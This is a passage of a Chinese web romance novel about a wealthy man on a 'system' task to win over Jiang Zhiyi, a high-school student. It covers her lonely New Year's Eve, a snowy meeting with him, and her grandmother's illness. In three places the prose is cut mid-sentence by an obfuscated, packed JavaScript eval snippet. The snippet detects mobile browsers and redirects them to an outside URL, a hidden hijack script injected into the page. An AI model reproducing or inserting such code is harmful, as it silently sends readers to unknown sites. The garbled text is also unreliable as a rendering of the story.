也就是在此时,傅延青意识到,他这辈子最大的两次挫败,都是栽在江知意身上。 上一次是江知意路过装不认识他,这次还是。 兜兜转转,他好像在原地踏步,做了这么多,她还是对他避之不及。 他到底差在哪里呢? 窗外的月光落进来,轻柔得像一块薄纱,他借着月色浇完花,在原地坐下,又想起贺凌舟对他说的最后几句话。 ——让他对郝琦表白他去吗? 他不去。 ——从大街上随便拉来一个女人让他表白他肯吗? 他不肯。 那为什么对江知意就肯了? 为什么对江知意就说得出口了? 是啊,为什么? 他也想知道为什么。 贺凌舟问他,敢说对人家一点想法都没有吗? 什么想法?他应该有什么想法? 男人支起额头,第一次对任务感到一筹莫展。 他用了各种办法帮她,对她好,可她就像只刺猬,只要察觉不对就竖起满身的刺,叫人接近不得。 现在他和她的关系又回到原点了,他该怎么继续? * 那天之后,傅延青的确冷静了很长一段时间。 长到系统都觉得不安,主动问他:“宿主,你怎么了?你已经一个月没找江知意了,这样下去任务怎么办?” “没怎么。”男人吐出一口烟圈,“有些东西还没想明白。” “什么东西?” 傅延青却不说话了。 他弹了弹烟灰,继续翻看起文件。 系统不安更甚,觉得傅延青这样的状态非常危险,忍不住问:“你要放弃任务了吗?” 他不是特别想要自由吗?怎么一被拒绝就开始摆烂了? 不要啊!他要是摆烂它不就白忙活了吗? “没有。”男人眉眼淡淡,看不出情绪,“想明白后我会去找她。” 系统松一口气,小声提醒:“那……你注意时间。” 任务期限是一年,现在是一月末,已经没多少时间了。 “我知道。” 知道就好。 系统放了心,默默闭上了嘴。 傅延青翻了几个文件,潦草签下自己的名字,起身走向落地窗。 其实,系统的担心是多余的。 他虽然没再找过江知意,可这一个月来他还是隔三岔五地去养老院。 他不知道怎么面对她,每次去的时候,都刻意避开了江知意可能出现的时间。 贺凌舟的方法他不会再用,只是她删他删得那么干脆果决,下一次再见,他该用什么理由接近她才好? 男人的眉越皱越深,第一次觉得他错了。 见到江知意的第一眼,他觉得她没什么特别,攻略她一定是件很容易的事。 可时至今日,一桩桩一件件的事实让他意识到,她远比他想象得难攻略,也远比他想象得特别。 脑海里浮现出女孩的模样。 她抱着书包坐在他的副驾上,窗外的风吹得她脸颊发紫,但她毫不在意,只是专心记路。 无论去哪儿,只要她上了他的车,她就一直在记路。 想到这儿,傅延青忍不住笑了。 这行为其实很不礼貌,但不知为什么,他就是对她生不起气来。 反而欣赏她。 欣赏她的警觉,欣赏她永远给自己留退路,欣赏她把命运掌握在自己手里。 ——他也想把命运掌握在自己手里。 * 傅延青两个月没有出现,江知意非常高兴。 大概是在她身上图不到什么,终于放弃了吧。 生活恢复成之前的平静,江知意觉得特别安心。 高三的生活就是日复一日地做题写卷子,连放假都只有吝啬的半天。 她还是坚持着考完试就去看奶奶,给奶奶讲她的成绩。 一学期大大小小的考试下来,她一直稳定第一。 这期间苏语琴也去过几次养老院。 她对照顾奶奶这事一向冷淡,面无表情地整理好奶奶的衣服,又面无表情地给她放下一些新的。 奶奶看她冷着脸,不敢多说话,只能呐呐看着她整理。 江知意在一旁看得心酸,主动拉起奶奶的手说给她削水果。 奶奶这才笑了。 今年的除夕在一月底,高一高二在月中就放了寒假,只有高三坚守到除夕前一天。 放学铃声响起的一刻,整个高三都像打了鸡血一样,终于放假了! 大家收拾好书包,嘻嘻哈哈地说着新年快乐,明年再见。 知道苏语琴最近都来接她,出校门的路上王瑜就开始依依不舍:“放假了,好几天都见不到你了,啊啊啊你要记得给我发消息。” “当然。”江知意笑笑。 “江知意!”后面有人喊她。 两人回头,看到王鑫和李博勾肩搭背地走过来,李博的胳膊下还抱着一个篮球。 “你俩跑那么快,新年快乐都没来得及说呢。”李博先开口。 “只给江知意说,不给我说?”王瑜插话打趣。 “说说说,都说,你俩新年快乐啊,除夕晚上班群里发红包,记得来抢。”王鑫接道。 “红包?好啊好啊。”王瑜说完看向她,“你也来吧?” “好啊。”江知意笑着点头,说完看到李博的篮球,问道,“你们要去打篮球?” “Bingo,猜中了。”李博打了个响指,“天天上学天天上学,我球技都生疏了,这不得趁着放假赶紧玩几把。” 他说完看一眼手机,“呀”了一声:“晚了晚了,我们得赶紧去了,都跟人约好了,先走了啊。” 说完就拽着王鑫开始跑。 被拽住的王鑫回头看她,见缝插针地说了一句:“江知意,新年快乐!”顿了一下又补充,“王瑜你也新年快乐!” “新年快乐。”江知意笑着回了一句。 一转头,王瑜看着她发出“啧啧啧”的声音。 “又怎么了?”江知意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15623298|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好笑。 “没怎么,感慨一下某人的小心思而已。” 说话间两人已走到校门口。 苏语琴走过来,王瑜不舍地又拉了一下她的手道:“好啦,新年快乐,明年见。” “明年见。” 开车回家的路上,苏语琴问她:“明天除夕想吃什么?我给你做。” 又做? 江知意想起上次苏语琴借着吃饭说生活费的事。 她抿了下唇问:“什么都可以吗?” “能买到菜就行,买不到我也没办法做。” “那就……土豆烧肉和虾吧。” “就知道还是这些。”苏语琴笑了一下,“今天去超市我都买好了,明天就给你做。” 她的语气轻松随意,言辞之间透出一种对她的喜好十分了解的意思,江知意愣了愣,心又忍不住一软。 其实苏语琴对她也没有那么差。 至少她还记得她的喜好,会给她做年夜饭,会陪她过年。 哪怕只有她们两个人。 * 除夕这天,江知意难得睡了个懒觉,起床洗漱的时候,厨房里已经传来“??笃笃笃”的切菜声。 她穿着拖鞋走到厨房时,苏语琴正在切土豆。 “醒了?”苏语琴看她一眼,继续低头切菜,“刷牙洗脸了没?” “洗了。”江知意应了一声走上前,“妈妈我帮你吧。” “不用不用,你去休息吧。”苏语琴摆手,“想学习呢就去看书,不想学习就看看电视自己玩一会儿,今天除夕,少学一天不要紧。” 她被推出厨房,不知怎的,有点微妙的高兴。 这种什么心也不用操、被苏语琴照顾的感觉,她已经很久没感受过了。 她走到沙发边坐下,看看手机,又看看电视,竟然不知道该干什么。 半年的时间都是两眼一睁就学习刷卷子,猛地闲下来,她都有点不习惯了。 那等高考完放长假,她岂不是会更不习惯? 到时候做点什么好呢? 好像王瑜说过要一起学化妆? 这么想着,江知意打开微信。 王瑜的消息第一个跳出来,她一大早就给她发了新年快乐,后面还跟了一串祝福语和表情。 江知意回完接着往下扫。 第二个是李博,第三个是王鑫,第四个是…… 一溜下来都是同学给她发的新年祝福。 祝福消息中夹着他们的班级群聊。 或许是因为过年,群里不用讨论学习,气氛比往日轻松了不少,很快就聊到了99+。 红包一个接一个,谁抢了最多就要给大家再发一个。 江知意翻了一会儿,忍不住笑。 没多久王瑜的消息又弹出来:“起床了?我这儿在帮家里做年夜饭呢,你呢,你们家今天吃什么?” 接着她拍了张照片过来,看得出菜式很多,家里吃年夜饭的人也很多。 江知意回了几个菜名,说:“我家就我和我妈两个人,吃不了太多。” “啊……”她似乎觉得自己说错话了,好一会儿才回复,“没事,够吃不浪费就行。” 和王瑜聊了几句,午饭就做好了。 因为重头戏在晚上,所以中午吃得比较简单。 吃过午饭,苏语琴带着她贴对联和福字,贴完又带她去养老院看奶奶。 要过年了,养老院也不甘落后,到处贴满了对联和福字,摆满了花生瓜子各种小吃,老人的脸上喜气洋洋,比以往热闹了不少。 她们到的时候,奶奶正和别的几个老人一起做手工,苏语琴跟她说了几句话,给她放了点东西和新衣服便带着江知意离开。 江知意不舍地回头,想再跟奶奶说几句话,但看到奶奶脸上的笑,又觉得这样也挺好。 她正玩得开心,过几天再来陪她说话也是一样的。 时间渐渐来到傍晚。 五点多的时候,江淮平给她发了消息。 【知意,爸爸这边太忙了走不开,过年你和你妈妈过吧?提前跟你说声新年快乐[表情][表情]高三任务重,记得照顾好自己,注意身体。】 消息下面,是一条1000元的转账。 她无言盯了会儿,收下转账,回了句【谢谢爸爸】。 消息发出后她又等了一会儿,江淮平没有再回复。 大概在他心里,“谢谢爸爸”就已经是结束对话了吧。 江知意笑了笑,平静切出对话框。 七点,年夜饭端上桌。 除了她说的土豆烧肉和虾,还有两道凉菜和一道排骨汤。 仔细一看,都是她平时喜欢吃的。 太久没见过苏语琴对她这么上心,江知意都有点受宠若惊了。 碗筷都摆好后,苏语琴低头对着手机点了几下,然后对她说:“给你发了压岁钱,记得收。” 江知意点开手机一看,也是1000元转账。 虽然比红包装现金的方式潦草了些,但苏语琴还记得,江知意就有点高兴。 “谢谢妈妈。”她说。 “谢什么。”苏语琴笑了下,笑容中带着点浅浅的温柔,“赶紧吃吧。” 年夜饭吃得很安静,电视机里放着春晚,两人默默地吃,默默地看春晚,偶尔才交流几句。 安静得几乎没有年味儿。 江知意几次想找话题,却不知说什么。 吃到一半,苏语琴电话响了。 她急匆匆站起来接,压低声音说着什么。 几句话后她挂断电话,走到玄关边取衣服边对她说:“知意,妈妈出去一下,你要是困了就先睡,早点休息,记得把门锁好。” “妈妈,我……” “有什么事等我回来再说,急事给我打电话。”苏语琴打断她,换好衣服拿起包就出门了。 门被关上,发出重重的一声。 震得江知意心里一抖。 她呆呆看着玄关,半晌都没有缓过神。 “砰!” 窗外有人开始放烟花了。 巨大的烟花升上夜空,半边天都被照得亮如白昼。 她低下头,看着桌上的年夜饭,突然明白苏语琴为什么给她做这么多菜了。 就像上次回家给她做饭一样。 都是对她的补偿。 她接完电话那么快就出门,显然是早就约好。 她去见谁呢? 比她还重要吗? 苏语琴临走的时候说困了就先睡,记得把门锁好,看样子她要很晚才回来了。 ……她还是让她一个人过除夕了。 19. Round 1 灯光亮起,舞台上刚结束一场音乐剧。 演员手拉着手并成一排,开始鞠躬谢幕。 贺凌舟和傅延青从二楼离开,路上贺凌舟问:“这场怎么样?” 傅延青:“不怎么样。” 编排烂,齐舞松散,个别乐器加得意义不明,更有演员一到悲伤戏份就表情崩坏。 “确实,这场排得不太行。”贺凌舟赞同完又自我安慰道,“不过总好过在家里看那些人的脸受气吧。” 贺家除夕晚宴规矩多,大小亲戚要坐一桌,每逢这个时候贺凌舟都十分头大,总要找机会提前走,用他的话来说,他最讨厌应付这些人。 在他们这个圈子里,大家都有个心照不宣的说法。 所谓的亲戚联络感情,其实就是他们过来看你死没死。 堪称每年的例行检查。 你死了,他们就像饿虎扑食一样来分你的蛋糕。 你没死,他们就明年再来。 贺凌舟提前离席,知道傅延青也讨厌回傅家,便拉他出来看音乐剧。 结果音乐剧也不尽人意。 “算了,打发时间的东西,随便看看得了。吃饭去?”贺凌舟取出车钥匙,挂在指尖转了几圈。 “走吧。” 傅延青话音落下,两人正好走到剧院门口,一旁的工作人员及时上前,为他们打开大门。 外面在飘雪。 不知什么时候下的雪,这会儿已经落了薄薄一层了。 “呦,下雪了!”贺凌舟惊叹。 江市是个很少下雪的地方,不想今年刚好在除夕夜落了雪。 漫天的雪纷纷扬扬地落下,给路灯蒙上一层温柔的滤镜。 一眼望去,天地皆白。 天地无声,万籁俱寂,所有的喧嚣都消失不见。 几人默契地站在原地赏雪,谁都没有开口破坏。 傅延青看了片刻,忽而出神地想,江知意那边下雪了吗? * “快看窗外,下雪了!” 晚上九点多,班群里不知谁起了头,大家一句接一句地开始说下雪了。 就连王瑜也给她私发了消息,让她看窗外。 江北市今年气温偏暖,冬天都要过去了还没下雪,没想到赶在年末,初雪终于来了。 江北市长大的孩子没有人可以对雪无动于衷,江知意也不例外,她愣了愣,放下手机奔到窗边。 真的下雪了。 温柔的小雪轻轻飘落,在烟花的光亮下美得那么圣洁,白得那么干净。 她将手伸出窗外,试图去接雪。 冰凉的雪花落在她指腹,很快化成水。 江知意收回手,看着雪花落下的地方,脸上露出后知后觉的惊喜。 下雪了。 好漂亮。 群里还在你一句我一句地说着这场雪,群消息提示响个不停。 江知意翻了几下,放下手机不再理会。 雪越下越大,不过半个小时,屋顶和地面就落了薄薄一层。 一个小时后,江知意换好外套戴上围巾出了门。 外面已经变成鹅毛大雪。 地面上的雪积了厚厚一层,走在上面会发出“咯吱咯吱”的响声。 江知意裹紧围巾,将手揣进兜里,向小区中心的花坛空地走去。 许是因为除夕夜,人人都在家团聚看春晚,没什么人出来,她走了一路一个人都没遇到。 快要走到时,她倏地脚步一顿,有些不敢相信眼前所见。 是一个人。 男人的黑发上落了些雪花,一身黑色大衣衬得他身形修长,远远的看不清他脸和表情,只能看到他低眸沉思,哀伤温柔得像一幅画。 是傅延青。 她认出他了。 坦白说,趁他还没看到她,她应该立刻转身离开,可不知为什么,她没有动,就那样怔怔看着他。 傅延青站的地方……其实她有印象。 彼时她被跟踪,磨磨蹭蹭很晚才回家,傅延青就坐在那里,抬头对她说,麻烦他已经帮她解决了。 而望向她的那张脸,还带着深深浅浅大大小小的伤。 很快,男人察觉到身后有人,慢慢转过身。 看到是她后,他微微惊讶,接着笑了:“巧?” 江知意抿了抿唇,走上前去:“你怎么来了?” 潜台词是,今天除夕,他不陪家人和朋友,怎么来这儿了? “没事做,我们那边下雪了,就想看看你们这边有没有下。”傅延青说。 “来找我吗?” 他摇头:“你把我删了,我怎么找你。” 提到“删人”,江知意有一瞬的心虚。 但看他早就知道这事还不怎么生气的样子,她的胆子又大了些。 她别过头道:“不是找我的,那你来这儿做什么?” “想试试能不能偶遇你。”他伸手接住一块雪花,握在掌心,“如果遇到了,那就是我们有缘。” “……”江知意无语,“你信这个?” 傅延青却不答了。 他静静看了她片刻,反问道:“还在生我气吗?” “生什么气?” “不生气怎么把我删了。” 江知意愣了愣,摇头:“我没生你气,我只是说我们以后不要再见面了。” “绝交?”话说到这个地步,傅延青竟还不生气,只淡淡而笑,“为什么?我要是不想绝交呢?” 江知意:“……” 哪儿来的绝交,他们根本连朋友都不是。 “江知意。”他继续,“你不觉得这样对我很不公平吗?说不见面就不见面,说删好友就删好友,你连一个证明的机会都不给我吗?” 他盯着她,缓缓问道:“你觉得我对你有所图,我会利用你,是吗?” 江知意没想过他会把话说得这么明白,但事已至此,她干脆深吸一口气,坦率承认道:“是,我不相信你。” “那你要怎样才能相信我?” “怎样都不会相信你。” 一问一答,他问得执着,她答得也干脆。 少女看着他不闪不避,丝毫不落下风。 风势弱了些,天上的雪也越飘越缓。 “时间也不行吗?”傅延青接着问。 “时间?可以啊,十年。”江知意张口就来,“你能在我身边待十年我就相信你。” 她随口说了个夸张的数字,根本就没想过傅延青会答应。 十年,一个人能有多少十年? 十年里又有多少人会相遇再分离? 她不信傅延青,怎样都不信,可如果是十年陪伴,她倒是可以考虑信他。 她做好了傅延青知难而退的准备,却不料他说好。 傅延青:“好,十年。” 江知意:“???” 她傻在原地,眼中满是不可思议。 “现在你可以给我一个机会了吗?”傅延青问。 江知意歪头,不解地看他。 有时候她自己都觉得自己说话太不客气了,可他竟然还不生气。 算起来他们认识也有五个月了。 究竟是什么,值得让他在她身上耗这么久? 她看不懂他,躲不开他,可她也不想这么轻易答应他。 江知意垂眸想了想,说:“那你答应我一件事,我就给你一个机会。” 他弯了弯唇:“说。” “高考前都别再来找我了,行吗?我想专心学习准备高考。可能你不懂,但高考对我来说很重要。有什么事,高考后再说。” 如果他说的十年是真的,或者说他真的有耐心陪她周旋几年,那这几个月对他来说一定不算什么。 如果他不答应,那正好说明他是装的。 江知意仰头看他,好奇起他的答案。 “好。”结果他这么说。 语气轻飘飘的,答应得十分轻易,就像在说“我们去吃饭”一样。 江知意不由睁大眼睛。 “很惊讶?”傅延青好笑,“不是你自己提的要求吗?我答应了你还不开心?” 江知意一顿,回过神来:“没有,开心。” 正事说完,男人问起别的:“今天除夕,怎么一个人出来瞎逛?” “下雪了,出来看看。”说罢她反问,“你呢,你不也是除夕一个人出来瞎逛吗?你怎么不回家?” “傅家有人在演父子情深,我不想当电灯泡。”傅延青回答。 他说得很平静,江知意却猛地想起几个月前他说的一句话。 ——“一个死了,一个喜欢私生子,所以他们都不来接我。” 所以他说的“一个喜欢私生子”就是这个意思吗? 很微妙的,江知意生出一种同病相怜的感觉。 苏语琴和江淮平没有私生子,可他们对她的态度,跟有私生子也没什么区别。 反正她在谁那里都不是最重要的选择。 她抿了抿唇,“哦”了一声。 她反应平淡,傅延青也不介意,像是根本没觉得刚才提到的算是个事,他开口问起别的:“很晚了,要回去吗?” 江知意摇头:“再待一会儿,等会儿零点有烟花。” “烟花?”他取出一支烟点燃,“介意我留下来一起看吗?” 烟草味在空气中散开,江知意皱眉,嫌弃地后退几步:“随便。” 男人注意到她的表情,看看手里的烟,问她:“不喜欢我抽烟?” 他利索地掐灭:“那就不抽了。” 江知意愣住:“我可没让你掐,我不喜欢是我的事,你抽是你的事。” “但你不是好不容易给了我一次机会吗?我总得好好表现一下。”他随手将烟扔进垃圾桶,又从口袋里取出一盒糖递向她,“吃糖吗?” 江知意摇头。 “是你喜欢的柠檬味。” 江知意还是摇头。 “戒心这么重?”傅延青轻笑,“那我吃了。”他说着取了两颗糖放进嘴里。 吃完糖两人又安静下来,江知意不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651281|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么傻站着,主动提出散步。 傅延青同意了。 路上他问:“你家里人怎么不陪你下来?他们放心你一个人?” “放心。”江知意说,“我从小在这儿长大,邻里之间都认识,有什么事喊一声就行。” “你回去晚他们也不担心?” “就在小区里,有什么好担心的。” 她答得面不改色,傅延青也一时无言。 她总是这样。 防备心重到一点脆弱也不肯暴露,仿佛暴露了,就会有人对准她的脆弱之处伤害她一样。 她不知道的是,其实他知道她家在哪儿。 散步的几步路中,他也看到她家一盏灯都没有。 什么情况下家里会一盏灯都没有? 当然是没有人。 江知意家里没有人,连父母也不在,她自然不必担心有人说她,有人不放心她。 男人沉默片刻,换了个话题:“今天除夕,去看你奶奶了吗?” “看了,她精神很好,在和别人做手工。”提起奶奶,江知意的神情和声音都温柔了几分。 “你很喜欢她?” “当然!”江知意点头,“以前妈妈工作忙,都是奶奶照顾我的,连我的名字也是奶奶取的。” “为什么是你奶奶取,不是你父母取?” “……”她好像想起什么,神情低落下去,声音低低,“本来也不该我奶奶取,是我另一个奶奶,就是我爸爸的妈妈,她嫌我是女孩不要我,才变成我奶奶取的。准确地说,我应该叫她姥姥或者外婆,可我习惯叫她奶奶了。” “不要你?” “嗯。”少女将围巾往上拉了拉,声音变得闷闷的,“很奇怪吗,他们都想要男孩,看到我是女孩自然就不会管我了。” 连江淮平也是。 起初对她还不错,后来渐渐地也不怎么管她了。 嘴上说得好听,看起来是个好脾气的爸爸,实则也没为她做过什么,付出过什么,只会不痛不痒地给她些钱。 就如今晚。 都到傍晚了他才想起来说一句“你和你妈妈过吧”。 ……那不然呢,难道还和他去过? 雪花仍在静静地飘,分明一切如常,傅延青却有种空气变稀薄了的感觉。 让他有些喘不上气。 “很奇怪。”傅延青说,“以性别论高下,很蠢,很幼稚。” 江知意怔了怔,停下来看他:“你真这么想?” “那不然?”男人的眉眼被路灯映出温暖的色彩,看起来有种异样的温柔,“你不是第一吗?你们学校那么多男的不也没考过你吗?” 提到学习,江知意不免有一瞬的骄傲。 她笑了:“对,他们都不如我。” 这句话说完,江知意的心情肉眼可见地好了些,她发现傅延青这个人说话还挺好听的。 她抿着唇开心了一会儿,头顶忽然一重。 傅延青伸手,替她拍掉了头顶的雪。 江知意愣了愣,有种浑身不自在的感觉。 她知道他只是在帮她拍雪,可刚才的动作简直就像……摸头一样。 长这么大她只被苏语琴和奶奶摸过头,异性……还是第一次。 她抖了抖头上的雪,抬头问他:“你干什么?” “有雪。”他说着伸手往自己头顶也拂了一把,“顺手就拍了。” 他说顺手,她自然也不好再多说什么。 毕竟身高差距摆在那儿,确实是一顺手的事。 两人接着走,转眼绕了小区大半圈。 傅延青抬手看了眼时间,已经11点50了。 远处的烟花又开始燃放,零零散散有一搭没一搭的,像是给零点的新年造势。 时间快到了,两人索性停下来,找了个合适的位置等着看烟花。 最安静的时候,江知意忽然扭头,问起那个她想问又没问的问题:“你这样的人,除夕夜也会没地方去吗?” “我这样的人?”傅延青反问,“我什么样的人?” “就是……有钱人啊,只要你想,应该很多人会簇拥在你周围吧,你想要什么想做什么,应该都信手拈来吧。”她想了想,迟疑着回答。 “是吗?”傅延青淡淡一笑,“你太天真了。” 天真? 她说的不对吗? 江知意正疑惑,就听傅延青继续说:“因利而聚,也会因利而散。你以为他们不定时的聚会是为了讨好你,其实他们只是看你死没死。” ……? 死没死? “他们靠近我,或多或少有所图,但你不一样。”男人看向她,一字一字,“江知意,你什么都不图。” 砰! 零点到了,烟花炸开。 无数烟花升上夜空,迸发出鲜亮璀璨的色彩,照亮男人的脸庞。 远处的烟花尾巴如流星一般坠下,又被下一轮烟花的光亮吞没。 傅延青看着她的脸,说了四个字。 “新年快乐。” 20. Round 1 那晚烟火落幕,傅延青跟她道别:“我答应你,高考前都不再打扰你,好好备考,考试加油。” 江知意愣愣点了下头,看着傅延青走远才转身。 回家打开门,不出所料,苏语琴还没回来。 这个时候,苏语琴在和谁过新年呢? 江知意麻木地想了一会儿,脱下外套去洗漱。 收拾完躺在床上,她想起傅延青说的一句话。 ——“但你不一样。江知意,你什么都不图。” 是这样吗? 因为她什么都不图,他反而感到安心,反而对她另眼相待,反而会在她面前做真实的自己? 脑子里闪过很多傅延青对她说的话,她越想越乱,干脆放弃。 离高考还有四个月,她现在唯一需要操心的事就是高考。 其他的,再说。 眼皮开始打架,江知意慢慢闭上眼。 睡得迷迷糊糊时,外面传来开锁的声音。 接着门被打开,有人进来了。 “知意,睡了吗?”苏语琴的声音在玄关响起。 大概是怕吵醒她,她将声音压得很低。 江知意没吭声,取出手机看了一眼时间。 屏幕光在黑暗中亮起,上面显示1点58。 这么晚,她终于回来了。 苏语琴没得到回应,以为她睡了,轻手轻脚走到自己的卧室,关上了门。 房间重新陷入安静。 江知意翻了个身,睁着眼睛怔怔盯着天花板,半晌才重新入睡。 * 江知意转身离开的时候,傅延青回头看了一眼,露出一副“果然如此”的表情。 这里离她家太近了,她怕家里的位置被他盯上,一定要看着他走远才肯放心回家。 还是这么不相信他啊。 傅延青轻笑一声,继续向自己的车走去。 系统急得不行,跳出来问:“宿主,你为什么答应她高考后再见?你疯了吗,那时离任务结束只剩三个月了啊!” “三个月又怎样。”傅延青嗓音平静,“我改主意了。” “???”系统紧张,“什么意思,你要放弃任务了?” “不是。”他走到车旁,取出一支烟点燃,吸了一口才慢吞吞道,“不是说,任务有一次失败的机会吗?” 一个反问句就让系统明白了他的意思。 “你的意思是,你要放弃第一次,专心准备第二次?” 傅延青“嗯”了一声:“算是。” 以现在的情况来看,第一次攻略几乎是不可能成功的。 别说100的好感度了,现在连50都是个坎。 既然如此,不如把战线拉长,以两年为期限。 第一次失败不要紧,只要第二次成功就可以了。 不再拘泥于一年的任务期限,很多事都变得游刃有余许多。 他看出来了,想攻略江知意,首先得等她高考完。 她一心学习,这时候做什么都是浪费时间,逼得紧了可能还有反效果,不如给她时间,让她专心备考。 至少能博一个好印象。 他这样孤注一掷,将所有的成败都押在第二次,系统忍不住咋舌。 大多数人面对这种情况,只会将失败的机会当做保底,尽力一次过,不到最后不放弃。 偏偏傅延青不一样。 他看的不是眼前,而是全局。 不愧是傅总。 有魄力。 男人在车旁慢条斯理地抽完一支烟,拉开车门,飞驰而去。 * 高三的春节只放三天,初一江知意睡了个懒觉,爬起来写了一天作业,初二则去养老院看了奶奶。 到奶奶房间门口的时候,正好撞见奶奶躲躲闪闪在藏什么东西。 见她来,奶奶脸上明显闪过一丝不自然,她拍拍枕头,抖抖被子,装出一副收拾床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663892|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铺的样子,边收拾边问她:“小姑娘,你找谁呀?” 语气客气陌生,显然又不记得她是谁了。 即便理智上已经接受这种结果,可每次看到奶奶陌生的眼神,江知意还是觉得心里一酸。 她忍住难过,走上前道:“奶奶,我们学校组织了志愿者活动,今天放寒假,我来陪您说说话。” “志愿者……”奶奶念了几遍,大脑才反应过来意思,“哦,志愿者,我记得,是有这么个事。” 养老院常有学生和社会人士来当志愿者照顾老人,奶奶不疑有他,很快相信。 只是说话期间,她眼神总是飘忽不定,像有心事。 “奶奶,您怎么了?从我刚才进来您就怪怪的,是有什么事吗?” “没有没有!”奶奶脸色一变,连忙摆手,“什么都没有,你看错了。” 是吗? 江知意想起刚到门口时,奶奶好像往床底藏了个东西。 难道和那个东西有关? 她这么紧张,是不是怕她发现那个东西,怕她打那个东西的主意? 想到此,江知意站起身:“好吧奶奶,时间不早了,我今天还有事,改天再来看您。” “诶,好好好,下次再来看奶奶。”老人挤出笑容,连连点头,“路上慢点啊。” 江知意笑着应好,转身离开。 奶奶心里藏着事,再待下去也是给她压力,不如下次再来。 床上的老人见女孩离开,匆匆忙忙关上门,跪在床边取出一个鞋盒。 她打开鞋盒,拆开一层一层的报纸,又翻开最里面的碎花布,看到钱还在,终于松了一口气。 那是一沓皱巴巴的现金,四角卷了边,破烂发旧,像是被使用了很多次了。 现金大部分是百元钞,只有小部分面额不等的零钱。 她点了一遍金额,将钱原样放回,再看一遍周围没有人,这才放心上床,仿佛什么事都没有发生过。 21. Round 1 傅延青时隔半个月再去养老院的时候,发现原先的床位上坐了个陌生的老人。 她一边做针线活,一边笑着和隔壁床位的人聊天。 傅延青皱了皱眉,走上前问:“你们换床位了吗?这儿原来的老人呢?” “没换呀?”隔壁床的奶奶疑惑接话,接着看到他的脸,认出他是谁后笑了,“是你呀,来找江奶奶吧,她前几天就出院啦。” “出院?” “对呀,生了病,被女儿接回家看病去了。” 生病? 傅延青心里蓦然有不好的预感,转身就走。 路上他问:“人现在在哪儿?在家还是在医院?” “医院。”系统迅速定位,“市二院住院部,8232。” 傅延青“嗯”了声,大步上车,踩下油门。 车冲了出去。 半小时后,车在市二院附近停下。 里面的停车位都被占满,傅延青只好就近停车,步行进去。 来医院的路上,傅延青想了几种进入病房的方法,可真的走到住院部,他才发现用不上。 他的私人病房私密性极高,要经过几道登记问话和几个门锁密码才能进入。 而这里显然不用。 普通病房没有任何私密性,随随便便就能进入住院部,坐电梯到8楼,可以说是一路畅通无阻来到了8232房间。 病房是三人间,靠窗的床位空着,靠门的病人在看书,见他进来,抬头看他一眼,复又低头继续看书。 一副见怪不怪的模样。 似乎他是谁、他来找谁、他来干什么,都和她无关。 傅延青放轻脚步,走到中间的病床旁。 江知意的奶奶在睡觉。 她闭着眼,脸颊似乎凹陷了一些,比半个月前瘦了。 不止瘦,整个人的精气神也像垮了一样,看起来毫无生气。 傅延青的眉越皱越深。 他记得半个月前老人还没有这么严重,只是捂嘴咳嗽的次数多了些,没想到仅仅半个月,就…… 奶奶病成这样,江知意知道吗? “不知道。”系统告诉他,“她每个月月末才去一次养老院,现在月初,她妈妈又没告诉她,她怎么可能知道。” “为什么不告诉她?” “怕影响学习喽。”系统说,“剩一个多月就要高考,你怕是不知道高考对他们的重要性吧?” “……” 傅延青没有回答,转而将目光放在床头柜的病历上。 他翻开病历,上面是医生龙飞凤舞的字。 男人一目十行,翻完病历放回原位,安静离开了病房。 系统也看到了那堆字,它还没看懂就见傅延青翻向了下一页,如此几次,等傅延青转身离开,它终于忍不住问:“你看得懂?” 傅延青:“看不懂。” “那你还翻那么快?” “记完了就翻下一页,怎么?” 系统:“???” 它半天摸不着头脑,继续问:“你记这些干嘛?” “回去问私人医生。”傅延青说,“都是简写别名,英文和拉丁文,他看得懂。” 系统:“……哦,好吧。” 傅延青下楼,开着车直奔私人医生工作的地方。 刷卡输密码,几道门后,周医生已经站在门口处等他:“哪儿不舒服?” “不是我,是有份病历要让你看看。”傅延青径直走向办公室,周医生也跟着进来。 “什么病历?” “我写给你。”傅延青拉开椅子坐下,提笔就写。 他写得很快,笔迹大气利落,写到第三页时,周医生纳闷:“这么多,你怎么不拍下来给我看?这是机密?” 写字的笔倏地一顿,男人愣了愣,后知后觉意识到自己的反常。 下一秒他落笔继续,语气淡淡道:“走得急,忘了。” 周医生:“???”他忍不住调侃,“难得,第一次见傅总忘事。关心则乱,这份病历对你很重要?” 很重要吗? 间接来说,也算。 傅延青没否认,周医生点头:“行,傅总都说重要了,那我怎么说也得尽一百二十分的力。” 四页病历写好,周医生接过,越看越眉头紧锁。 他经验丰富,对各种病症都游刃有余,鲜少露出这样为难的表情。 